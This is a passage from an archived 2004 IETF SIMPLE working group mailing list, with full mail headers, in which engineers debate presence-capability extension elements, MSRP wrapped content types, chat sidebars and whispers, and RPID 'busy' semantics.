List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Mon, 01 Mar 2004 03:03:41 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit

I have other comments on this, but I want to single this one as 
especially important.

	Thanks,
	Paul

Jonathan Rosenberg wrote:
>>
>> 3.23 Extension elements
>>
>>    This section defines how extension features present in "Indicating
>>    User Agent Capabilities in the Session Initiation Protocol (SIP)"
>>    [6]    can be used in this extension.
> 
> 
> I know I spoke in favor of this approach in the past, but I never 
> guarantee the self consistency of my argumetns over time, and I now 
> think that this is not a good idea.
> 
> The reasons are:
> 
>   1. XML has a mechanism for extensibility; this defines a separate one
>   2. an element could appear as an extension as you have defined it, or, 
> if later we do define a matching set of real XML extensions to carry it, 
> it could appear there. You dont want to have two valid ways of carrying 
> the data
>   3. there is an argument to be made that the PA should not generally be 
> conveying infomraiton it doesnt understand, and that is the case here
> 
> As such, I would recommend dropping this entire section.

I disagree!

The extension mechanism in callee-caps has means that don't require any 
registration at all. This is very good for cases when there are features 
that are very transient. For instance, it is possible to define a 
feature tag for something like frobitz-sales, or widget-help. And then I 
can use callerprefs to select an endpoint with the appropriate 
capability. This allows end users to take advantage of callerprefs for 
features that matter to them. (Assuming sufficiently smart devices.)

When using presence, I would like the same to hold true. If it is 
necessary to define a new xml schema before I can announce a capability 
for widget-help in my presence then nothing this dynamic can be a feature.

If there is a problem, it is that the draft forbids use of the extension 
mechanism when there is specific schema for the same purpose.

	Paul


_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From exim@www1.ietf.org  Tue Mar 30 17:58:41 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA22464
	for <simple-archive@odin.ietf.org>; Tue, 30 Mar 2004 17:58:41 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B8Rjb-0006Xa-RE
	for simple-archive@odin.ietf.org; Tue, 30 Mar 2004 17:29:27 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i2MKQoMY021307
	for simple-archive@odin.ietf.org; Mon, 22 Mar 2004 15:26:50 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B5W0X-0005Xa-VZ
	for simple-web-archive@optimus.ietf.org; Mon, 22 Mar 2004 15:26:50 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA18489
	for <simple-web-archive@ietf.org>; Mon, 22 Mar 2004 15:26:47 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B5W0V-0006F7-00
	for simple-web-archive@ietf.org; Mon, 22 Mar 2004 15:26:47 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B5VzZ-00066e-00
	for simple-web-archive@ietf.org; Mon, 22 Mar 2004 15:25:50 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B5Vyh-00060I-00; Mon, 22 Mar 2004 15:24:55 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B5VxU-0004f0-JR; Mon, 22 Mar 2004 15:23:40 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B4Om9-0004kl-Rq
	for simple@optimus.ietf.org; Fri, 19 Mar 2004 13:31:22 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA14277
	for <simple@ietf.org>; Fri, 19 Mar 2004 13:31:17 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B4Om7-0002Q9-00
	for simple@ietf.org; Fri, 19 Mar 2004 13:31:19 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B4OlC-0002Lu-00
	for simple@ietf.org; Fri, 19 Mar 2004 13:30:23 -0500
Received: from omzesmtp03.mci.com ([199.249.17.11])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B4OkH-0002DS-00; Fri, 19 Mar 2004 13:29:25 -0500
Received: from pmismtp02.wcomnet.com ([166.38.62.37])
 by firewall.mci.com (Iplanet MTA 5.2)
 with ESMTP id <0HUU0004X5NM2Y@firewall.mci.com>; Fri,
 19 Mar 2004 18:21:22 +0000 (GMT)
Received: from pmismtp02.wcomnet.com by pmismtp02.mcilink.com
 (iPlanet Messaging Server 5.2 HotFix 1.14 (built Mar 18 2003))
 with SMTP id <0HUU000015NLN4@pmismtp02.mcilink.com>; Fri,
 19 Mar 2004 18:21:21 +0000 (GMT)
Received: from XS578V7033521.mci.com ([166.50.113.70])
 by pmismtp02.mcilink.com (iPlanet Messaging Server 5.2 HotFix 1.14 (built Mar
 18 2003)) with ESMTP id <0HUU0000Y5NJKT@pmismtp02.mcilink.com>; Fri,
 19 Mar 2004 18:21:21 +0000 (GMT)
From: Alan Johnston <alan.johnston@mci.com>
X-Sender: Alan.Johnston@pop.mcit.com
To: "Rosen, Brian" <Brian.Rosen@marconi.com>,
        "'Paul Kyzivat'" <pkyzivat@cisco.com>,
        "Niemi Aki (Nokia-M/Espoo)" <aki.niemi@nokia.com>
Message-id: <5.2.1.1.0.20040319121725.02eb0ad0@pop.mcit.com>
MIME-version: 1.0
X-Mailer: QUALCOMM Windows Eudora Version 5.2.1
Content-type: text/plain; charset=us-ascii; format=flowed
Subject: [Simple] RE: Chat sessions
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Fri, 19 Mar 2004 12:21:18 -0600
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.1 required=5.0 tests=AWL autolearn=no version=2.60

As a result of this thread, in Korea, a group of us (roughly myself, Brian, 
Hisham, Aki, Paul, Markus - apologies to others who I might have forgotten) 
met to discuss "chat rooms" and text conferencing.

Here is what the consensus of the participants was:

There is a need to document aspects of "chat rooms" or text
conferencing.

There seems to be a need to have a request/response kind of
subset of conferencing (sidebar) AS WELL AS an immediate
no request/response subset of conferencing (private message /
whisper).  This need is not specific to media, although the
exact mechanism to establish it might be media dependent.
Media Policy is a media independent mechanism, but others
may be more appropriate, especially for IM.  This work
will at least begin in XCON.

In addition, the absence of an ability to express a nickname
in SIP was identified as an area for future SIP work.

Thanks,
Alan Johnston
MCI
sip:alan@sipstation.com

At 08:07 PM 3/2/2004 -0500, Rosen, Brian wrote:
>How are we going to resolve this?
>
>Most of us are here.  Can we get together?
>
>Brian
>
> > -----Original Message-----
> > From: Paul Kyzivat [mailto:pkyzivat@cisco.com]
> > Sent: Tuesday, March 02, 2004 6:44 PM
> > To: Niemi Aki (Nokia-M/Espoo)
> > Cc: ext Rosen, Brian; ext Jonathan Rosenberg;
> > Markus.Isomaki@nokia.com;
> > hisham.khartabil@nokia.com; Miguel.An.Garcia@nokia.com;
> > simple@ietf.org
> > Subject: Re: [Simple] Chat sessions
> >
> >
> >
> >
> > Niemi Aki (Nokia-M/Espoo) wrote:
> > >
> > >>> Of course you can't do private messages with voice. Voice
> > and IM are
> > >>> inherently different. You can't send private voice
> > packets to another
> > >>> participant of a conference, simply because there isn't a way to
> > >>> single out a participant in a conference by directly addressing
> > >>> packets there. It also makes mixing really complicated, because a
> > >>> private voice stream might overlap with the rest of the
> > conference.
> > >>> These don't present a problem for IM; the sender can
> > single out the
> > >>> recipient using the cpim To header field and the recipient UA can
> > >>> simply mark a message as private and render it to the
> > same UI as the
> > >>> rest of the IMs in that conference.
> > >>
> > >> I protest.  There is no logical difference.  There is no protocol
> > >> difference.  In most cases, there is no practical difference.  You
> > >> send media to some address, you get media from some address.  You
> > >> render it.  IM or voice or video is all just media, and its handled
> > >> the same way.  You might have "centralized" or
> > "distributed" mixers.
> > >> Most IM systems, as implemented, are centralized mixers.  You send
> > >> all media to the mixer, it sends media to you.  There is nothing
> > >> special with IM.  You need some signaling for a private message.
> > >> You can use the same signaling for a sidebar or a whisper.
> > >
> > > Hmm.. which systems are these? The ones I've used have both private
> > > messages *and* sidebars.
> >
> > It seems that in principle the difference between sidebars
> > and private
> > messages is simply one of UI design. A particular client
> > could support
> > one or the other, or both.
> >
> > But you also seem to require that the initiator be able to
> > choose which
> > user experience the recipients will have. That turns it into
> > a protocol
> > issue. In general I would consider this a bad idea. But it is
> > largely a
> > human factors issue, and I don't feel qualified to comment on
> > it except
> > from the perspective of personal preference. But it seems that whole
> > discussion hinges on whether there is a valid requirement for giving
> > senders that degree of control over recipients.
> >
> >       Paul
> >
>
>_______________________________________________
>Simple mailing list
>Simple@ietf.org
>https://www1.ietf.org/mailman/listinfo/simple


_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From exim@www1.ietf.org  Tue Mar 30 17:59:11 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA22589
	for <simple-archive@odin.ietf.org>; Tue, 30 Mar 2004 17:59:11 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B8Rjb-0006WI-Il
	for simple-archive@odin.ietf.org; Tue, 30 Mar 2004 17:29:27 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i1T7N4AQ018113
	for simple-archive@odin.ietf.org; Sun, 29 Feb 2004 02:23:04 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AxLI0-0004fE-A3
	for simple-web-archive@optimus.ietf.org; Sun, 29 Feb 2004 02:23:04 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id CAA09906
	for <simple-web-archive@ietf.org>; Sun, 29 Feb 2004 02:22:48 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxLHj-0007gI-00
	for simple-web-archive@ietf.org; Sun, 29 Feb 2004 02:22:47 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AxLGr-0007Zh-00
	for simple-web-archive@ietf.org; Sun, 29 Feb 2004 02:21:54 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxLGB-0007TQ-00; Sun, 29 Feb 2004 02:21:11 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AxLG4-0003c2-RH; Sun, 29 Feb 2004 02:21:04 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AxLFm-0003RY-Sx
	for simple@optimus.ietf.org; Sun, 29 Feb 2004 02:20:46 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id CAA09717
	for <simple@ietf.org>; Sun, 29 Feb 2004 02:20:44 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxLFj-0007RY-00
	for simple@ietf.org; Sun, 29 Feb 2004 02:20:43 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AxLEq-0007Mc-00
	for simple@ietf.org; Sun, 29 Feb 2004 02:19:48 -0500
Received: from sj-iport-2-in.cisco.com ([171.71.176.71] helo=sj-iport-2.cisco.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxLEW-0007HB-00
	for simple@ietf.org; Sun, 29 Feb 2004 02:19:28 -0500
Received: from sj-core-2.cisco.com (171.71.177.254)
  by sj-iport-2.cisco.com with ESMTP; 28 Feb 2004 23:30:00 +0000
Received: from flask.cisco.com (IDENT:mirapoint@flask.cisco.com [161.44.122.62])
	by sj-core-2.cisco.com (8.12.10/8.12.6) with ESMTP id i1T7Iu4U029293;
	Sat, 28 Feb 2004 23:18:56 -0800 (PST)
Received: from cisco.com (sin-vpn-client-20-16.cisco.com [10.68.20.16])
	by flask.cisco.com (Mirapoint Messaging Server MOS 3.3.6-GR)
	with ESMTP id AGK08589;
	Sun, 29 Feb 2004 02:18:53 -0500 (EST)
Message-ID: <4041925C.6020602@cisco.com>
From: Paul Kyzivat <pkyzivat@cisco.com>
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.1) Gecko/20020826
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Ben Campbell <bcampbell@dynamicsoft.com>
CC: simple@ietf.org
Subject: Re: [Simple] MSRP: Wrapped types
References: <403FAE25.50505@dynamicsoft.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Sun, 29 Feb 2004 02:18:52 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit

It is only confusing until you think about it. I think we should leave 
it alone - or maybe just clarify the wording a bit.

	Paul

Ben Campbell wrote:
> Another issue came up during the discussions several of us had a SIPIT. 
> I am separating this out from the MSRP/SIMS harmonization email, as it 
> is orthagonal to that.
> 
> Several people commented that the existing "accept-types" and 
> "accept-wrapped-types" were overly confusing and error prone. To recap, 
> the point of this mechanism is to allow an MSRP device to accept a 
> number of formats, but require them to be wrapped in an envelope of some 
> sort. The motivation behind this is that a CPIM gateway may allow any 
> number of content-types, but insist that everything be wrapped in a 
> message/cpim envelope.
> 
> The existing mechanism says that any format listed in "accept-types" can 
> occur anywhere in a body, including at the root. Formats listed in 
> "accept-wrapped-types" cannot occur at the root; that is, they must be 
> wrapped inside of some format listed in "accept-types". This solves the 
> problem, but it is pretty complicated and difficult to understand.
> 
> Two possible alternatives were offered:
> 
> 1) Get rid of the "accept-wrapped-types" attribute, and instead add an 
> attribute that means "I require CPIM". This would mean that all content 
> must be wrapped in message/cpim envelopes.
> 
> 2) Generalize option 1 a little bit by adding an "envelope" attribute. 
> This attribute would contain a single format entry. All content must be 
> wrapped in that format.
> 
> And of course, there is an implied item 3: Leave it as is.
> 
> Thoughts?
> 
> Thanks!
> 
> Ben.
> 
> _______________________________________________
> Simple mailing list
> Simple@ietf.org
> https://www1.ietf.org/mailman/listinfo/simple
> 


_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From exim@www1.ietf.org  Tue Mar 30 17:59:34 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA22669
	for <simple-archive@odin.ietf.org>; Tue, 30 Mar 2004 17:59:34 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B8Rjb-0006WI-GJ
	for simple-archive@odin.ietf.org; Tue, 30 Mar 2004 17:29:27 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i218NdbL026097
	for simple-archive@odin.ietf.org; Mon, 1 Mar 2004 03:23:39 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AxiiA-0006ma-WD
	for simple-web-archive@optimus.ietf.org; Mon, 01 Mar 2004 03:23:39 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id DAA01363
	for <simple-web-archive@ietf.org>; Mon, 1 Mar 2004 03:23:36 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Axii7-0004o2-00
	for simple-web-archive@ietf.org; Mon, 01 Mar 2004 03:23:35 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AxihE-0004iW-00
	for simple-web-archive@ietf.org; Mon, 01 Mar 2004 03:22:41 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Axigh-0004cm-00; Mon, 01 Mar 2004 03:22:07 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Axige-0006KU-1Q; Mon, 01 Mar 2004 03:22:04 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Axifp-0006GA-Jl
	for simple@optimus.ietf.org; Mon, 01 Mar 2004 03:21:13 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id DAA00997
	for <simple@ietf.org>; Mon, 1 Mar 2004 03:21:12 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxicB-0004Ed-00
	for simple@ietf.org; Mon, 01 Mar 2004 03:17:27 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AxibI-0004Af-00
	for simple@ietf.org; Mon, 01 Mar 2004 03:16:32 -0500
Received: from rtp-iport-1.cisco.com ([64.102.122.148])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Axiae-0003yv-00
	for simple@ietf.org; Mon, 01 Mar 2004 03:15:52 -0500
Received: from rtp-core-1.cisco.com (64.102.124.12)
  by rtp-iport-1.cisco.com with ESMTP; 01 Mar 2004 00:18:59 -0800
Received: from flask.cisco.com (IDENT:mirapoint@flask.cisco.com [161.44.122.62])
	by rtp-core-1.cisco.com (8.12.10/8.12.6) with ESMTP id i218FLT4006038;
	Mon, 1 Mar 2004 03:15:21 -0500 (EST)
Received: from cisco.com (sin-vpn-client-20-17.cisco.com [10.68.20.17])
	by flask.cisco.com (Mirapoint Messaging Server MOS 3.3.6-GR)
	with ESMTP id AGK35006;
	Mon, 1 Mar 2004 03:15:18 -0500 (EST)
Message-ID: <4042F114.9020903@cisco.com>
From: Paul Kyzivat <pkyzivat@cisco.com>
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.1) Gecko/20020826
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
CC: Simple WG <simple@ietf.org>
Subject: Re: [Simple] comments on prescaps
References: <40420159.3040708@dynamicsoft.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Mon, 01 Mar 2004 03:15:16 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit

Jonathan,

More comments below.

	Thanks,
	Paul

Jonathan Rosenberg wrote:
>> 3.3 <audio> element
>>
>>    The <audio> element indicates that the device supports audio as a
>>    streaming media type as defined in [6].
>>
>>    The <audio> element can contain 'negated' attribute. This attribute
>>    is of boolean type. Value 'true' indicates that device supports audio
>>    media type and value 'false' indicates that device does not support
>>    audio media type as defined in [6]. Default value for 'negated'
>>    attribute is 'false'.
>>
>>    <audio> element can contain any number of <type> elements which can
>>    be used to describe audio media types supported by the device. If
>>    'negated' attribute has value 'true' it is NOT RECOMMENTED to include
>>    <type> elements. Media types included in <type> elements MUST start
>>    with 'audio/'.
> 
> 
> This is inconsistent with callee-caps. In callee-caps, the audio tag 
> means that the device supports streaming audio. The type tag, which 
> already existed in the registry, indicates MIME types that the SIP 
> client supports in SIP messages, NOT in streaming media. Thus, there is 
> no callee cap mapping to the <type> element you define above. I would 
> suggest that we not include a <type> in order to keep alignment with 
> callee-caps.

This also caught my eye. But after thinking about it I decided it was 
ok. While it is important for the prescaps extensions to be capable of 
representing anything in callee-caps, the converse need not hold true. 
If this is useful information, then why not permit it to be encoded?

This type tag is different from that in the registry. It is talking 
about the streaming media. Because of this, it might be best to use a 
different name. Also, encoding the full type here is redundant, because 
it is encoded in the enclosing tag. So maybe what would be better here 
is a <subtype> tag.

>> Open issue: Do we need to also allow separate <type> elements outside
>>       media tags? This would allow representation of other media type
>>       which are not included into this document (like multipart or
>>       message).
> 
> I suggest alignment with callee caps, and thus, no.

As you noted, we already have it because the feature tag already exists, 
and callee-caps permits use of feature tags defined elsewhere.

As such, it would carry over to prescaps as an extension element. There 
*could* be explicit schema for it, but I doubt that is necessary as long 
as the extension mechanism is present. (I sent a separate reply on that.)


_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From exim@www1.ietf.org  Tue Mar 30 18:00:04 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA22823
	for <simple-archive@odin.ietf.org>; Tue, 30 Mar 2004 18:00:04 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B8Rjb-0006a4-97
	for simple-archive@odin.ietf.org; Tue, 30 Mar 2004 17:29:27 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i215tj4l002174
	for simple-archive@odin.ietf.org; Mon, 1 Mar 2004 00:55:45 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AxgOs-0000Yz-LT
	for simple-web-archive@optimus.ietf.org; Mon, 01 Mar 2004 00:55:34 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA07489
	for <simple-web-archive@ietf.org>; Mon, 1 Mar 2004 00:55:30 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxgOp-0005Uj-00
	for simple-web-archive@ietf.org; Mon, 01 Mar 2004 00:55:31 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AxgNw-0005P2-00
	for simple-web-archive@ietf.org; Mon, 01 Mar 2004 00:54:37 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxgNP-0005J7-00; Mon, 01 Mar 2004 00:54:03 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AxgNO-00005c-TX; Mon, 01 Mar 2004 00:54:02 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AxgMr-0008Ok-Qz
	for simple@optimus.ietf.org; Mon, 01 Mar 2004 00:53:29 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA07324
	for <simple@ietf.org>; Mon, 1 Mar 2004 00:53:26 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxgMp-0005HA-00
	for simple@ietf.org; Mon, 01 Mar 2004 00:53:27 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AxgLs-0005BD-00
	for simple@ietf.org; Mon, 01 Mar 2004 00:52:29 -0500
Received: from brazilnut.cc.columbia.edu ([128.59.59.203] ident=cu41754)
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxgL1-00055U-00
	for simple@ietf.org; Mon, 01 Mar 2004 00:51:35 -0500
Received: from cs.columbia.edu (UBAHN.dhcp.ietf59.or.kr [218.37.227.100])
	(user=hgs10 mech=PLAIN bits=0)
	by brazilnut.cc.columbia.edu (8.12.11/8.12.11) with ESMTP id i215pQiA012662
	(version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT);
	Mon, 1 Mar 2004 00:51:28 -0500 (EST)
Message-ID: <4042CF62.7030907@cs.columbia.edu>
From: Henning Schulzrinne <hgs@cs.columbia.edu>
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.6a) Gecko/20031030
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Paul Kyzivat <pkyzivat@cisco.com>
CC: Jonathan Rosenberg <jdrosen@dynamicsoft.com>, Simple WG <simple@ietf.org>
Subject: Re: [Simple] comments on draft-ietf-simple-rpid (long)
References: <4041F046.7050207@dynamicsoft.com> <4042B316.4050104@cisco.com>
In-Reply-To: <4042B316.4050104@cisco.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-No-Spam-Score: Local
X-Scanned-By: MIMEDefang 2.35
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Mon, 01 Mar 2004 00:51:30 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.60
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit

Paul Kyzivat wrote:

>> How does busy differ from closed? Also, I dont see a reason why it 
>> couldnt automatically be generated. For example, if I'm in a meeting.
> 
> 
> It differs because it means that you (probably) don't want to 
> communicate, not that you can't. A call will possibly result in alerting 
> the presentity. It may then result in no answer, or an answer from 
> someone who will be annoyed with you.
> 
> While it could be generated automatically, I think maybe the assumption 
> was that automated generation could be more precise. OTOH, it may be 
> that filtering will turn the more precise specifications into this one 
> in order to be less specific. So maybe the 2nd sentence should be removed.

Reworded to

User is busy, without further details. While this
activity would typically be associated with a status of CLOSED, a
presentity may declare itself busy to discourage communication, but
indicate that it still can be reached if needed.


> Maybe that the phone would ring without answer? Or that it would be 
> answered by whoever the phone number was reassigned to? (Aren't phone 
> numbers wonderful?)

Added sentence along those lines.

This interpretation implies that OPEN implies nothing about the 
usefulness of communication that is possible.

> I have a related issue that I thought I already raised, but maybe not.
> 
> I agree with your characterization of idle on commercial IM systems, and 
> that is probably what we want for those built with SIMPLE as well. But 
> when we extend the notion of presence to phones we typically get a 
> different semantic. It is common to be in close proximity to a phone and 
> yet not use it for long periods of time. So if idle is based on how long 
